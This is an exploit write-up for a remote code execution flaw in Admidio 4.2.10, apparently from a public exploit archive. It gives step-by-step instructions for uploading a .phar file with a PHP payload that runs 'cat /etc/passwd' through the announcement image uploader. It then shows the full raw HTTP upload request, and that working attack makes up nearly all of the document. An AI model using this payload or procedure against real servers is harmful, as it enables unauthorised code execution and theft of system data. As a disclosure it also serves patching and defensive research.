Exploit Title: Admidio v4.2.10 - Remote Code Execution (RCE) Application: Admidio Version: 4.2.10 Bugs: RCE Technology: PHP Vendor URL: https://www.admidio.org/ Software Link: https://www.admidio.org/download.php Date of found: 10.07.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== Steps: 1. Login to account 2. Go to Announcements 3. Add Entry 4. Upload .phar file in image upload section. .phar file Content <?php echo system('cat /etc/passwd');?> 5. Visit .phar file ( http://localhost/admidio/adm_my_files/announcements/images/20230710-172217_430o3e5ma5dnuvhp.phar ) Request: POST /admidio/adm_program/system/ckeditor_upload_handler.php?CKEditor=ann_description&CKEditorFuncNum=1&langCode=en HTTP/1.1 Host: localhost Content-Length: 378 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryne9TRuC1tAqhR86r User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: http://localhost/admidio/adm_program/modules/announcements/announcements_new.php?headline=Announcements Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: ADMIDIO_admidio_adm_cookieconsent_status=dismiss; ADMIDIO_admidio_adm_SESSION_ID=penqrouatvh0vmp8v2mdntrgdn; ckCsrfToken=o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB Connection: close ------WebKitFormBoundaryne9TRuC1tAqhR86r Content-Disposition: form-data; name="upload"; filename="shell.phar" Content-Type: application/octet-stream <?php echo system('cat /etc/passwd');?> ------WebKitFormBoundaryne9TRuC1tAqhR86r Content-Disposition: form-data; name="ckCsrfToken" o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB ------WebKitFormBoundaryne9TRuC1tAqhR86r--